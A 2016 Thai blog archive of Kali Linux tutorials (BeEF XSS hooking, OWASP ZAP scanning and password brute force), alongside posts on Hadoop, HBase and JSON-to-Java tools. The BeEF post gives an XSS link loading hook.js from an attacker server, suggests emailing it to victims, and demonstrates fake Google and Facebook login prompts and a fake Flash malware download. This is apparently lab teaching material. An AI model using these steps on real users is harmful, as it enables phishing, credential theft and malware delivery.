Year: 2016

  • วิธีใช้งาน Kali Linux – BeEF – XSS Framework

    จาก วิธีใช้งาน Kali Linux – OWASP Zap – Active Scan ได้แสดงให้เห็นว่า เมื่อตรวจเจอช่องโหว่ Cross Site Scripting (XSS) บนเครื่องเป้าหมาย

    2559-10-17-11_11_17-program-manager

    จากที่ได้เคยบรรยายไปใน Web Hacking and Security Workshop เรื่อง วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 : วิธีการ Hack ด้วย SQL Injection และ Cross-Site Scripting ซึ่งแสดงให้เห็นว่า หากมีช่องโหว่ดังกล่าว ทำให้สามารถใส่ JavaScript ลงไปได้

    2559-10-24-10_46_51-desktop-running-oracle-vm-virtualbox

    2559-10-24-10_47_34-program-manager

    ซึ่งอาจจะดูไม่น่าจะอันตรายอะไร แต่ ถ้า Hacker พบช่องโหว่ XSS (reflected) นี้บน Website ของเรา แล้วส่ง URL ที่แนบ JavaScript ไปหลอกผู้ใช้ของเรา อาจจะเป็นทาง Email ก็จะเป็นปัญหาได้

    ต่อไปนี้ จะแนะนำอีกเครื่องมือหนึ่ง ที่ชื่อว่า BeEF XSS Framework ใน Kali Linux ดังวิธีการใช้งาน “เบื้องต้น” ให้เห็นอันตรายของช่องโหว่นี้ ดังนี้

    1. เปิด Application > 08 Exploitation Tools > beef xss framework
      2559-10-24-11_31_21-kali-light-running-oracle-vm-virtualbox
    2. เมื่อระบบทำงานแล้ว ให้ copy Example Hook ไว้ก่อน แล้วมา Login BeEF Website โดยใส่ username/password เป็น beef/beef
      2559-10-24-11_34_53-program-manager
    3. ต่อไป อาจจะส่ง email ไปหลอกผู้ใช้ของระบบ โดยใส่ Link เป็น
      http://192.168.56.101/xss/simple.php?name=<script src=”http://192.168.56.102:3000/hook.js”></script>
      โดยในที่นี้
      192.168.56.101 เป็น Website ที่มีช่องโหว่ XSS
      192.168.56.102 เป็น BeEF Server ของ Hacker ที่เปิด port 3000 รอให้ Download hook.js ไปติดตั้ง
      หากผู้ใช้โดนหลอกให้คลิก จะปรากฏภาพดังนี้
      2559-10-24-11_38_13-desktop-running-oracle-vm-virtualbox
    4. เมื่อมีผู้ใช้โดนหลอกให้คลิกเรียบร้อย ทาง Hacker ที่ใช้ BeEF จะเห็นหน้าจอดังนี้
      2559-10-24-11_42_22-program-manager
    5. BeEF สามารถรู้รายละเอียดของ Browser ของเป้าหมายได้
      2559-10-24-11_43_50-program-manager
    6. ในเมนู Command สามารถทำอะไรได้หลายอย่าง
      2559-10-24-11_45_09-start
    7. เมื่อเลือก Browser > Hooked Domain > Get Page HREFs2559-10-24-11_46_37-kali-light-running-oracle-vm-virtualbox
      แล้วคลิก Execute จากนั้น มาดูผลงานใน Command results ก็จะเห็นว่า ใน Page ของผู้ใช้ มี Link เดิมเป็น http://xssattackexamples.com เป็นต้น
      2559-10-24-11_47_05-kali-light-running-oracle-vm-virtualbox

      จากนั้น เลือก Replace HREFs เป็น http://beefproject.com/ แล้วคลิก Execute
      2559-10-24-11_47_31-program-manager

      ตรวจสอบผลงาน พบว่า Link ถูกเปลี่ยนไป 2 ตำแหน่ง
      2559-10-24-11_47_50-kali-light-running-oracle-vm-virtualbox
      ผู้ใช้จะเห็น Link เปลี่ยนไปดังภาพ
      2559-10-24-11_48_18-desktop-running-oracle-vm-virtualbox
    8. สั่งให้ Pop Dialog ถามรหัสผ่านผู้ใช้ (แบบบ้านๆ)
      2559-10-24-11_56_42-program-manager 2559-10-24-11_56_58-program-manager
    9. สั่งให้หลอกถาม username/password ของ Google
      2559-10-24-12_00_14-kali-light-running-oracle-vm-virtualbox 2559-10-24-12_00_38-program-manager
    10. สั่งให้หลอกถามแบบ Facebook
      2559-10-24-12_04_35-program-manager 2559-10-24-12_05_00-desktop-running-oracle-vm-virtualbox
    11. และหลอกให้ download Flash Player แต่จริงๆแล้วเป็น Virus/Malware/Ransomware
      2559-10-24-12_02_18-kali-light-running-oracle-vm-virtualbox 2559-10-24-12_04_11-desktop-running-oracle-vm-virtualbox

     

     

  • วิธีใช้งาน Kali Linux – OWASP Zap – Brute Force with Fuzz

    ในการตรวจสอบ ความแข็งแกร่งของระบบป้องกันการโจมตี เรื่องหนึ่งคือความสามารถในการกัน Brute Force หรือ ความพยายามเดารหัสผ่าน

    OWASP Zap สามารถใช้เป็นเครื่องมือในการทำ Brute Force ได้ โดยใช้เครื่องมือที่ชื่อว่า Fuzz

    ขั้นตอนมีดังนี้

    1. เปิด Zap และเปิด Web Browser ที่ตั้งค่าให้ Zap เป็น Proxy และ ทำการ Authentication ทดสอบดู
      2559-10-21-15_22_20-kali-light-running-oracle-vm-virtualbox
    2. ใน Zap จะปรากฏ POST Action ที่สำหรับส่ง Username และ Password เกิดขึ้น
      2559-10-21-15_22_52-program-manager
    3. เลือก Username ที่ทดสอบใส่ลงไป แล้วคลิกขวา เลือก Fuzz
      2559-10-21-15_23_17-program-manager
    4. จากนั้นคลิก Payloads
      2559-10-21-15_23_44-kali-light-running-oracle-vm-virtualbox
    5. จากนั้น คลิกปุ่ม Add เลือก Type เป็น Strings แล้วใส่ Username ที่จะใช้ในการเดา เสร็จแล้วคลิกปุ่ม Add
      2559-10-21-15_24_25-kali-light-running-oracle-vm-virtualbox
    6. จากนั้น เลือกข้อความที่เป็น Password แล้วคลิก Add แล้วคลิก Payload แล้วใส่ Password ที่จะเดา เสร็จแล้วคลิกปุ่ม Add
      2559-10-21-15_25_25-kali-light-running-oracle-vm-virtualbox
    7. เมื่อตั้งค่าเสร็จแล้ว คลิกปุ่ม Start Fuzz
      2559-10-21-15_25_42-kali-light-running-oracle-vm-virtualbox
    8. Zap จะทำการเดา Username/Password เมื่อเสร็จแล้ว ลองสังเกตผลใน Tab Fuzzer
      ผลที่ได้อาจจะแตกต่างกันในแต่ละระบบที่โจมตี แต่ในภาพ จะเห็นว่า มี Size Response Header อยู่บรรทัดหนึ่งที่มีขนาดแตกต่างจากอันที่ไม่สำเร็จ คือ 390 bytes (บรรทัดอื่นๆเป็น 310 bytes) เมื่อลองคลิกดู แล้วไปดูใน Tab Response จะเห็นว่า มีการ Set-Cookie แสดงว่า Login ได้แล้ว

      ใน Column Payloads จะเห็นว่า รหัสผ่านเป็น admin,123456 สามารถเอาไปทดสอบได้
      2559-10-21-15_27_32-program-manager

    ในตัวอย่างนี้ ถ้ามีระบบป้องกันการเดารหัสผ่าน เช่น fail2ban ก็จะสามารถลดความเสี่ยงได้ (บ้าง)

  • วิธีใช้งาน Kali Linux – OWASP Zap – User Authentication

    ในการตรวจสอบ Web Application ที่ต้องมีการ Authentication โดยใช้งานผ่าน Web Form จะต้องกำหนดค่าให้ OWASP Zap รู้ว่า จุดใดเป็น Login Form และ Field ใดที่ใช้เป็น Username และ Password ก่อน หลังจากนั้น จะสามารถกำหนดได้ว่า จะโจมตีด้วย Username ใดบ้าง เพื่อใช้ในการทดสอบ

    ขั้นตอนในการตั้งค่าและโจมตีมีดังนี้

    1. ใน Web Browser ให้ตั้งค่า Proxy เป็น 127.0.0.1 Port 8080
      2559-10-19-14_04_45-program-manager
    2. ทำการเปิด Web Page ที่ต้องการโจมดี โดยให้ทำเป็น Login ตามปรกติ ด้วย Username/Password ที่ใช้งานได้จริง
      2559-10-19-14_05_32-program-manager
    3. เมื่อ Login สำเร็จแล้ว จะได้หน้าตาประมาณนี้
      2559-10-19-14_05_49-program-manager
    4. จากนั้น กลับไปที่ OWASP Zap จะเห็นว่าใน Sites มี URL ของ Website ที่ต้องการโจมตีปรากฏอยู่ จากนั้นให้ คลิกขวาที่ URL ที่ต้องการโจมตี คลิก Include in Context > Default Context
      2559-10-19-14_06_30-program-manager
    5. จะปรากฏหน้าต่าง Session Properties ให้ทราบว่า จะใช้งาน URL นี้ ให้คลิกปุ่ม OK
      2559-10-19-14_06_49-kali-running-oracle-vm-virtualbox
    6. จากนั้นให้คลิก POST Action ที่เป็นการส่งข้อมูลการ Login ผ่าน Web Form แล้ว คลิกขวา เลือก Flag as context > Default Context : Form-based Auth login Request
      2559-10-19-14_07_24-program-manager
    7. จะปรากฏหน้าต่าง Session Properties อีกครั้ง ให้ทราบว่า จะใช้ Login Form Target URL และ Login Request POST DATA ดังภาพ ให้กำหนดว่า Username Parameter และ Password Parameter คือ Field ใด จากนั้น ให้คลิกปุ่ม OK
      2559-10-19-14_08_07-kali-running-oracle-vm-virtualbox
    8. จากนั้น ให้คลิก Tab Response ของ POST Action ที่ใช้ในการ Login แล้วมองหา ข้อความ ที่จะให้ OWASP Zap ค้นหา เพื่อเป็นการยืนยังว่า สามารถ Login ได้แล้ว จากนั้น คลิกขวา แล้วเลือก Flag as Context > Default Context: Authentication Logged-in indicator
      2559-10-19-14_08_46-program-manager
    9. จะปรากฏหน้าต่าง Session Properties อีกครั้ง ให้ทราบว่า Regex pattern identified in Logged in response message คือคำใด จากนั้น ให้คลิกปุ่ม OK
      2559-10-19-14_09_06-kali-running-oracle-vm-virtualbox
    10. จากนั้น คลิก Users ด้านซ้ายมือ แล้ว คลิก เครื่องหมายถูก หน้า Username ที่จะใช้ในการ Login
      2559-10-19-14_09_35-kali-running-oracle-vm-virtualbox
    11. จากนั้น คลิก Forced Users ด้านซ้ายมือ แล้วเลือก User ที่จะใช้ในการโจมตี แล้วคลิก OK
      2559-10-19-14_09_51-kali-running-oracle-vm-virtualbox
    12.   ที่ URL ที่จะโจมตี คลิกขวา แล้วเลือก Attack > Active Scan2559-10-19-14_10_29-program-manager
    13. ในหน้าต่าง Active Scan ให้คลิก Tab Scope แล้วเลือก User ที่จะใช้ในการโจมตี
      2559-10-19-14_10_57-kali-running-oracle-vm-virtualbox
    14. คลิก Tab Policy จากนั้นกำหนดให้ Apply High Threshold และ Apply Insane Strength แล้วคลิกปุ่ม Go ทั้ง 2 อัน
      2559-10-19-14_11_19-kali-running-oracle-vm-virtualbox
    15. ระบบ OWASP Zap จะทำการ Scan สามารถดูผลได้จาก Alerts ดังภาพ ซึ่งแสดงให้เห็นว่า Web Site ดังกล่าวมีชื่อโหว่ SQL Injection ที่สามารถ Bypass การ Authentication ได้ เป็นต้น
      2559-10-19-14_13_17-program-manager

    References:

    https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

    https://github.com/zaproxy/zap-core-help/wiki

  • วิธีใช้งาน Kali Linux – OWASP Zap – Active Scan

    ใน Kali Linux มีเครื่องมือ Web Application Security Scanner ที่น่าสนใจตัวหนึ่ง คือ OWASP Zap (Open Web Application Security Project) เหมาะสำหรับการใช้งานตั้งแต่การทดสอบเบื้องต้น ไปจนถึงการโจมตีขั้นสูงได้

    *** คำเตือน : อย่าใช้เครื่องมือนี้กับระบบคอมพิวเตอร์ที่ท่านไม่ใช่เจ้าข้องเด็ดขาด ***

    ในบทความนี้ จะแสดงขั้นตอนการทดสอบ Web Application โดยใช้กระบวนการ Active Scan

    1. ใน Kali Linux เปิด Applications > 03 Web Application Analysis > owasp-zap
      2559-10-17-09_27_04
    2. เลือก No, I do not want to persist this session at this moment in time แล้วคลิก Start (ยังไม่ต้องใช้ในตอนนี้)
      2559-10-17-09_36_10-program-manager
    3. ในช่อง URL to attack ใส่ URL ของ Web Application ที่ต้องการทดสอบ แล้วคลิก Attack
      2559-10-17-09_40_10-program-manager
    4. ระบบจะทำการ Spider และ Active Scan ตามลำดับ ผลที่ได้ “ในเบื้องต้น” ก็จะแค่แสดงในส่วนของ Alerts ทั่วไปเกี่ยวกับการตั้งค่าที่อาจจะไม่เหมาะสม เช่น X-Frame-Options Header ไม่ได้ตั้งค่าไว้, มีการใช้ Private IP, ไม่ได้ป้องกัน XSS และอื่นๆเป็นต้น
      2559-10-17-09_42_55-kali-running-oracle-vm-virtualbox
    5. เนื่องจากเครื่องที่ทำการทดสอบนี้ จริงๆแล้ว มี Directory ย่อยๆ ลงไปอีกมากมาย ที่ไม่ได้ชี้ Link ไปจาก index.php ในหน้าแรกของ Web Site วิธีการที่จะให้ OWASP ZAP กวาดไฟล์เดอร์ย่อยๆออกมา ใช้คลิกขวาที่ Sites ที่ต้องการ แล้ว Attack > Forced Browse site จากนั้นจะปรากฏ Forced Browse Tab ขึ้นมา ให้เลือก directory-list-1.0.txt ซึ่งจะทำการ Brute Force ชื่อ Directory ที่เค้าไปเก็บรวบรวมมา
      2559-10-17-10_05_43-kali-running-oracle-vm-virtualbox
    6. จากนั้น ทำการ Attack ด้วย Spider อีกครั้ง
      2559-10-17-11_06_51-kali-running-oracle-vm-virtualbox
    7. จากนั้น ทำการ Attack ด้วย Active Scan อีกครั้ง
      2559-10-17-10_10_24-kali-running-oracle-vm-virtualbox
    8. แต่ให้ตั้งค่าใน Policy Tab ดังภาพ เพื่อให้ Threshold เป็น High และ Strength เป็น Insane (จะอธิบายละเอียดอีกครั้งในบทความต่อไป) คลิก Go ทั้ง 2 บรรทัด แล้วคลิก Start Scan
      2559-10-17-11_08_46-kali-running-oracle-vm-virtualbox
    9. ดูผลการ Scan ได้ที่ Alerts Tab ดังตัวอย่างพบว่ามีช่องโหว่สำคัญคือ Cross Site Scripting (Reflected), Path Traversal และ Remote File Inclusion โดยบอกวิธีการ Attack ที่ใช้ในการทดสอบ และวิธีการแก้ไขพร้อม
      2559-10-17-11_11_17-program-manager 2559-10-17-11_11_44-program-manager 2559-10-17-11_12_19-program-manager

    จะกลับมาอภิปราย และอธิบายรายละเอียดอีกครั้งในบทความต่อไป

    References:

    https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

    https://github.com/zaproxy/zap-core-help/wiki

    https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project

  • อย่าเชื่อ Tools จนเกินไป : กรณี joomscan

    ได้ยินหลายคนพูดถึงการใช้งานตรวจสอบ Website โดยเฉพาะ Joomla โดยใช้เครื่องมือที่ชื่อว่า joomscan

    ก็เลยลองติดตั้ง และ ทำการทดสอบกับ Web Server ใน VirtualBox ที่มีช่องโหว่ JCE ที่เจาะได้แน่ๆ เพื่อดูว่าเครื่องมือนี้ทำงานอย่างไร

    2559-10-12-11_14_13-desktop-running-oracle-vm-virtualbox

     

    ทำการโจมตีจาก Kali Linux ไปยังเครื่องเป้าหมาย ด้วย joomscan

    2559-10-12-11_15_33-start

     

    รายงานผลแจ้งว่า joomscan มีการ Update ล่าสุด เมื่อ Oct 22, 2012 นั่นคือเมื่อ 4 ปีที่แล้ว

    2559-10-12-11_06_50-start

    รายผลที่แจ้งช่องโหว่ ที่เจาะได้ มีดังนี้

    2559-10-12-16_46_50-clipboard

    แสดงให้เห็นว่า ด้วย Tools ตัวเดียวอาจจะไม่สามารถมั่นใจได้ว่า ระบบของเราปลอดภัยหรือไม่

    ฝากไว้พิจารณาครับ

     

     

     

  • การ Compile ออนไลน์

    เมื่อนักพัฒนาระบบต้องการเขียนโปรแกรมภาษาอะไร จำเป็นต้องทำการติดตั้ง Compiler สำหรับภาษานั้น ๆ เสียก่อน Compiler จะทำหน้าที่แปลภาษา Programming ไปเป็นชุดคำสั่งของเครื่อง เพื่อทำงานตามที่นักพัฒนาต้องการ

    บทความนี้จะแนะนำบริการออนไลน์สำหรับทดสอบ Code ภาษาต่าง ๆ ที่มีชื่อว่า compileonline

    ซึ่งสามารถทดสอบ Code ผ่านทางเว็บไซต์ เพื่อดูผลลัพธ์ โดยไม่ต้องเสียเวลาติดตั้ง Compiler หรือเปิด Developer Tool เอง สำหรับการทดสอบเล็ก ๆ น้อย ๆ ค่ะ

    ขั้นตอน ดังนี้

    ไปที่ http://www.compileonline.com/

    19-9-2559-14-14-46

    จากนั้นเลือกภาษา / Develop tool ที่ต้องการ ในที่นี้เลือก C# แสดงหน้าจอ ดังนี้

    ตัวอย่าง C#

    19-9-2559-14-20-01

    คลิกปุ่ม “Compile” จะแสดงผลดัง Terminal ด้านล่าง –> สีแดง

    คลิกปุ่ม “Execute” จะแสดงผลดัง Terminal ด้านล่าง –> สีน้ำเงิน

    ตัวอย่าง JavaScript

    เลือกภาษา / Develop tool ที่ต้องการ ในที่นี้เลือก JavaScript แสดงหน้าจอ ดังนี้

    19-9-2559-14-31-47

    แก้ไขคำสั่งตามต้องการ จากนั้น คลิกปุ่ม “Preview” จะแสดงผลดัง Web View ด้านล่างค่ะ 

     

  • ขั้นตอนการติดตั้ง HBase บน Hadoop อย่างง่าย

    HBase เป็น Database บน Hadoop [1]

    จากบทความ ขั้นตอนการติดตั้ง Hadoop Cluster อย่างง่าย จะได้ HDFS อยู่ที่ hdfs://192.168.1.101:9000 แล้ว ก็จะสามารถใช้ HBase บน Hadoop HDFS ได้

    ขั้นตอนการติดตั้ง

    1. โคลนเครื่องต้นฉบับ แล้วตั้ง ip address ให้เรียบร้อย เช่น 192.168.1.121
    2. ติดตั้ง HBase (mama shell)
      (mama shell)
      cd ~
      wget http://www-us.apache.org/dist/hbase/stable/hbase-1.2.3-bin.tar.gz
      tar -zxvf hbase-1.2.3-bin.tar.gz
      sudo mv hbase-1.2.3 /usr/local/hbase
      sudo chown -R hduser.hadoop /usr/local/hbase
      sudo mkdir /usr/local/zookeeper
      sudo chown -R hduser.hadoop /usr/local/zookeeper
    3. แก้ไขไฟล์ /usr/local/hbase/conf/hbase-site.xml (hduser shell)
      <configuration>
      <property>
       <name>hbase.cluster.distributed</name>
       <value>true</value>
      </property>
      <property>
       <name>hbase.rootdir</name>
       <value>hdfs://192.168.1.101:9000/hbase</value>
      </property>
       <property>
       <name>hbase.zookeeper.property.dataDir</name>
       <value>/usr/local/zookeeper</value>
       </property>
      </configuration>
    4. ขั้นตอนการ Start HBase (hduser shell)
       /usr/local/hbase/bin/start-hbase.sh
    5. ดูผลการทำงาน จาก Hadoop HDFS ว่าสร้าง /hbase แล้ว
       http://192.168.1.101:50070/explorer.html#/hbase
    6. ใช้งานผ่าน Shell ได้จากคำสั่ง (hduser shell)
       /usr/local/hbase/bin/hbase shell
    7. ขั้นตอนการ Stop HBase (hduser shell)
       /usr/local/hbase/bin/stop-hbase.sh

     

    References:

    [1] https://hbase.apache.org/

  • ขั้นตอนการติดตั้ง Hadoop Cluster อย่างง่าย

    Hadoop เป็น Framework สำหรับสร้างการประมวลผลแบบกระจาย (Distributed Processing) กับข้อมูลขนาดใหญ่ (Large Data Sets) สามารถเริ่มต้นจากทดสอบบนเครื่องคอมพิวเตอร์เครื่องเดียว ไปจนเป็นระบบ Cluster ได้[1]

    อธิบายง่ายๆได้ว่า Hadoop ประกอบด้วย ส่วนประมวลผลแบบกระจายเรียกว่า YARN (หรือ MapReduce) และ ส่วนเก็บข้อมูลแบบกระจายเรียกว่า HDFS (Hadoop Distributed File System) สำหรับการสร้าง Hadoop Cluster ในบทความนี้ใช้ Hadoop version 2.7.2 บน Ubuntu 16.04 โดย Cluster จะประกอบด้วย 1 Master และ N Slaves โดยจะใช้วิธีการสร้างเครื่องต้นฉบับ แล้ว Clone ไปเป็น Master/Slave ต่อไป

    1.ขั้นตอนการสร้างตันฉบับสำหรับการ Clone
    1.1. ติดตั้ง Ubuntu 16.04 ตามปรกติ สร้าง User คนแรกชื่อ mama
    1.2. สร้างกลุ่มชื่อ hadoop

    sudo addgroup hadoop

    1.3. สร้างผู้ใช้ชื่อ hduser อยู่ในกลุ่ม hadoop

    sudo adduser hduser --ingroup hadoop

    1.4. ติดตั้ง Java

    sudo apt-get install default-jre openjdk-8-jdk-headless

    1.5. ติดตั้ง hadoop

    wget http://www-us.apache.org/dist/hadoop/common/hadoop-2.7.2/hadoop-2.7.2.tar.gz
    tar -zxvf hadoop-2.7.2.tar.gz
    sudo mv hadoop-2.7.2 /usr/local/hadoop
    sudo mkdir /usr/local/hadoop/etc/hadoop/tmp
    sudo chown -R hduser.hadoop /usr/local/hadoop

    1.6. เพิ่มตัวแปรใน /etc/environment

    HADOOP_HOME=/usr/local/hadoop
    HADOOP_PREFIX=/usr/local/hadoop
    JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64

    1.7. แก้ไขค่าใน .bashrc

    su hduser; cd ~

    แล้วแก้ไข .bashrc โดยเพิ่มบรรทัดต่อไปนี้ ท้ายไฟล์

    export HADOOP_HOME=/usr/local/hadoop
    export HADOOP_PREFIX=/usr/local/hadoop
    export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
    export PATH=$PATH:$HADOOP_HOME/bin:$HADOOP_HOME/sbin

    2.ขั้นตอนการสร้าง Master (namenode)
    2.1. Clone เครื่องต้นฉบับมา แล้วแก้ไข ip address, /etc/hosts, /etc/hostname ให้เหมาะสม
    โดยเครื่องนี้ต้อง Static IP เช่น 192.168.1.101
    2.2. แก้ไข /usr/local/hadoop/etc/hadoop/core-site.xml ดังนี้

    <configuration>
    <property>
     <name>hadoop.tmp.dir</name>
     <value>/usr/local/hadoop/tmp</value>
     </property>
     <property>
     <name>fs.defaultFS</name>
     <value>hdfs://192.168.107.116:9000</value>
     </property>
    </configuration>
    

    2.3. แก้ไข /usr/local/hadoop/etc/hadoop/hdfs-site.xml

    <configuration>
     <property>
     <name>dfs.replication</name>
     <value>3</value>
     </property>
     <property>
     <name>dfs.namenode.datanode.registration.ip-hostname-check</name>
     <value>false</value>
     </property>
    </configuration>

    2.4. แก้ไข /usr/local/hadoop/etc/hadoop/slaves

    โดยใส่ IP ของเครื่องที่จะเป็น Slave หรือ datanode ลงไป เช่น 192.168.1.102 ถึง 192.168.1.111 เป็นต้น

    192.168.1.102
    192.168.1.103
    192.168.1.104
    192.168.1.105
    192.168.1.106
    192.168.1.107
    192.168.1.108
    192.168.1.109
    192.168.1.110
    192.168.1.111
    

     

    3.ขั้นตอนการสร้าง Slave (datanode)
    3.1. Clone เครื่องต้นฉบับมา แล้วแก้ไข ip address, /etc/hosts, /etc/hostname

    เช่น ตั้ง IP เป็น 192.168.1.102
    3.2. แก้ไข /usr/local/hadoop/etc/hadoop/core-site.xml ดังนี้ (สังเกตว่า 192.168.1.101 เป็น IP Address ของเครื่อง Master)

    <configuration>
     <property>
     <name>fs.defaultFS</name>
     <value>hdfs://192.168.1.101:9000</value>
     </property>
    </configuration>

     

    4.ขั้นตอนการตั้งค่า Passwordless SSH

    ที่เครื่อง Master ใช้คำสั่งต่อไปนี้ เพื่อให้สามารถ Login ไปเป็น hduser บนเครื่อง slave ได้โดยไม่ต้องใส่รหัสผ่าน

    (hduser@master shell)
    ssh-keygen -t rsa
    ssh hduser@192.168.1.102 mkdir -p .ssh
    ssh-copy-id -i .ssh/id_rsa.pub hduser@192.168.1.102
    

    จากนั้นจะสามารถ ssh hduser@192.168.1.102 โดยไม่ต้องใส่ Password อีก แล้วหลังจากนี้ สามารถใช้เครื่อง Slave นี้เป็นต้นฉบับในการ Clone เป็น datanode ต่างๆได้ตามต้องการ

     

    5.ขั้นตอนการ Start Hadoop Cluster

    ในครั้งแรกสุด ที่เครื่อง Master ต้อง format HDFS ก่อน โดยใช้คำสั่ง (จาก hduser shell)

    hdfs namenode -format

    จากนั้นใช้คำสั่งต่อไปนี้เพื่อ start ระบบ

    start-dfs.sh
    start-yarn.sh

    6.ดูผลการทำงาน

    http://192.168.1.101:50070

    http://192.168.1.101:8088

     

    7.ขั้นตอนการ Stop Hadoop Cluster

    stop-dfs.sh
    stop-yarn.sh

    References:
    [1] http://hadoop.apache.org/

  • การแปลงข้อมูลในรูปแบบ JSON เป็นคลาส JAVA

    ในการแลกเปลี่ยนข้อมูลระหว่าง application กับ service ที่ติดต่อกับฐานข้อมูลบน server โดยส่วนใหญ่ก็จะแลกเปลี่ยนข้อมูลโดยใช้รูปแบบ JSON ซึ่งในส่วนของแอพพลิเคชัน ต้องทำคลาสในการรับข้อมูลพื่อให้สามารถรับข้อมูลและนำไปใช้ได้สะดวกขึ้น

    ตัวอย่างข้อมูล JSON เช่น

    [

                       {

                                 “point”: “40.266044,-74.718479”,

                                 “homeTeam”:”Lawrence Library”,

                                 “awayTeam”:”LUGip”,

                                 “markerImage”:”images/red.png”,

                                 “information”: “Linux users group meets second Wednesday of each month.”,

                                 “fixture”:”Wednesday 7pm”,

                                 “capacity”:””,

                                 “previousScore”:””

                       },

                       {

                                 “point”:”40.211600,-74.695702″,

                                 “homeTeam”:”Hamilton Library”,

                                 “awayTeam”:”LUGip HW SIG”,

                                 “markerImage”:”images/white.png”,

                                 “information”: “Linux users can meet the first Tuesday of the month to work out harward and configuration issues.”,

                                 “fixture”:”Tuesday 7pm”,

                                 “capacity”:””,

                                 “tv”:””

                       },

                       {

                                 “point”:”40.294535,-74.682012″,

                                 “homeTeam”:”Applebees”,

                                 “awayTeam”:”After LUPip Mtg Spot”,

                                 “markerImage”:”images/newcastle.png”,

                                 “information”: “Some of us go there after the main LUGip meeting, drink brews, and talk.”,

                                 “fixture”:”Wednesday whenever”,

                                 “capacity”:”2 to 4 pints”,

                                 “tv”:””

                       }

    ]

    และตัวอย่างคลาส JAVA ที่เราต้องการสร้างเอาไว้รับข้อมูล ดังนี้ค่ะ

    ———————————-com.example.Example.java———————————–

    package com.example;

    import javax.annotation.Generated;

    @Generated(“org.jsonschema2pojo”)

    public class Example {

    private String point;

    private String homeTeam;

    private String awayTeam;

    private String markerImage;

    private String information;

    private String fixture;

    private String capacity;

    private String previousScore;

    private String tv;

     

    public String getPoint() {

    return point;

    }

    public void setPoint(String point) {

    this.point = point;

    }

    public String getHomeTeam() {

    return homeTeam;

    }

     

    public void setHomeTeam(String homeTeam) {

    this.homeTeam = homeTeam;

    }

    public String getAwayTeam() {

    return awayTeam;

    }

    public void setAwayTeam(String awayTeam) {

    this.awayTeam = awayTeam;

    }

    public String getMarkerImage() {

    return markerImage;

    }

    public void setMarkerImage(String markerImage) {

    this.markerImage = markerImage;

    }

    public String getInformation() {

    return information;

    }

    public void setInformation(String information) {

    this.information = information;

    }

    public String getFixture() {

    return fixture;

    }

    public void setFixture(String fixture) {

    this.fixture = fixture;

    }

    public String getCapacity() {

    return capacity;

    }

    public void setCapacity(String capacity) {

    this.capacity = capacity;

    }

    public String getPreviousScore() {

    return previousScore;

    }

    public void setPreviousScore(String previousScore) {

    this.previousScore = previousScore;

    }

    public String getTv() {

    return tv;

    }

    public void setTv(String tv) {

    this.tv = tv;

    }

    }

    ซึ่งก็คือคลาส ที่มี method –> get กับ set นั่นเอง

    ซึ่งจะเห็นว่าถ้าฐานข้อมูลเรามีหลายฟิลด์ ก็ต้งต้องทำ method get กับ set ทั้งหมดเลย (ร้องหายแปป)

     

    จะดีแค่ไหนถ้ามีตัวสร้างคลาสให้เราจากข้อมูล JSON ของเราเลย   ง่ายๆ ไปดูเลยค่ะที่เว็บ

    http://www.jsonschema2pojo.org/

        การใช้งานก็ง่าย ๆ โดยการวางตัวอย่างข้อมูล JSON ของเราลงไปและระบุค่านิดหน่อยตามต้องการ

    1

    ขอยกตัวอย่างบางตัวหลัก เช่น

    – Package คือ ชื่อตำแหน่งที่เก็บคลาส

    – class name คือ ชื่อคลาส

    – Source Type คือ รูปแบบของ JSON ถ้าเป็นดังตัวอย่างข้อมูลก็กำหนดเป็น JSON

    – Annotation style คือ รูปแบบของคลาสที่สร้าง

    จากนั้นสังเกตด้านล่างมีปุ่ม preview เพื่อดูตัวอย่างคลาสที่สร้าง หรือจะให้ส่งออกเป็นไฟล์ zip ก็ได้เช่นกัน

    2

    จากตัวอย่าง กดปุ่ม Preview แสดงดังรูป

    3

    ขอขอบคุณ

    http://www.jsonschema2pojo.org/

    http://ajbee.me/2015/09/29/web-data-type-part2-json/

    http://codemobiles.com

    http://devahoy.com/posts/android-custom-listview-with-gson-tutorial/